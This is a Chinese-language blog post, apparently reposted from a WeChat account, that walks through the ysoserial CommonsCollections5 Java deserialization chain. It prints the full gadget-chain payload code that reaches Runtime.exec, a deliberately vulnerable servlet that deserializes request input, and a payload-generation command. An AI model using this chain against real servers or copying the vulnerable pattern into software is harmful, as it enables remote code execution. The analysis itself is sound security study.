前言
学习cc5反序列化链。在CC5链中ysoserial给出的提示是需要JDK1.8并且SecurityManager需要是关闭的。在实际尝试中jdk1.7.0_80
也是可以的;JDK7u21不行,发现badAttributeValueExpException
没有readObject()
方法。
SecurityManager 是java的安全管理器,当运行未知的Java程序的时候,该程序可能有恶意代码(删除系统文件、重启系统等),为了防止运行恶意代码对系统产生影响,需要对运行的代码的权限进行控制,这时候就要启用Java安全管理器。该管理器默认是关闭的。
ysoserial 中的 CC5 payload构造
先看下yso中cc5这条链的payload是怎么构造的,后续我们再分析反序列化的过程。
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
前面生成ChainedTransformer
利用链的过程跟cc1一致,不作过多讲解。
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
将ChainedTransformer
绑定到map对象上,当调用get方法的时候,就会调用到ChainedTransformer
的transform
方法,从而引起连锁反应执行命令。
TiedMapEntry类
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
这里实例化一个TiedMapEntry
对象,传入其构造函数的参数为LazyMap对象和一个占位字符串。
随后通过反射的方法,将BadAttributeValueExpException
对象的val
属性赋值为前面new的TiedMapEntry
对象,并将该BadAttributeValueExpException
对象作为序列化对象返回。
我们看下TiedMapEntry
类的相关源码:
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getKey() {
return this.key;
}
public Object getValue() {
return this.map.get(this.key);
}
上面传入构造函数的分别是LazyMap
实例化对象和占位字符串。
在getValue
这个方法中,调用this.map.get()
方法,就和前面的串联起来达成命令执行了。
public String toString() {
return this.getKey() + "=" + this.getValue();
}
而在toString()
方法中,就调用了getValue
这个方法。
反序列化过程分析
1. 创建web项目
创建一个maven web项目,并创建一个servlet如下:
package com.example;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
@WebServlet("/s1")
public class Servlet1 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream inputStream = req.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
try {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req, resp);
}
}
pom.xml中添加commons-collections
3.1依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
使用yso生成calc命令的payload:
java -jar CommonsCollections5 calc > cc5.ser
利用burp发送payload,成功执行命令弹出计算器:
2. 反序列化链分析
BadAttributeValueExpException.readObject()
从序列化数据中获取BadAttributeValueExpException
对象的val
属性值,赋值给valObj
变量,其为TiedMapEntry
的对象。
如果SecurityManager关闭,则会调用TiedMapEntry.toString()
方法。
TiedMapEntry.toString()
在toString方法中,会调用TiedMapEntry.getValue()
方法:
在getValue方法中,调用this.map.get()
方法,this.map
对象就是前面我们构造序列化数据时的LazyMap,当调用get方法的时候,就会调用到ChainedTransformer的transform方法,从而引起连锁反应执行命令。该部分的分析可以参看cc1反序列化分析。
参考链接
https://www.cnblogs.com/nice0e3/p/13890340.html
原文始发于微信公众号(信安文摘):【yso】- CC5反序列化分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论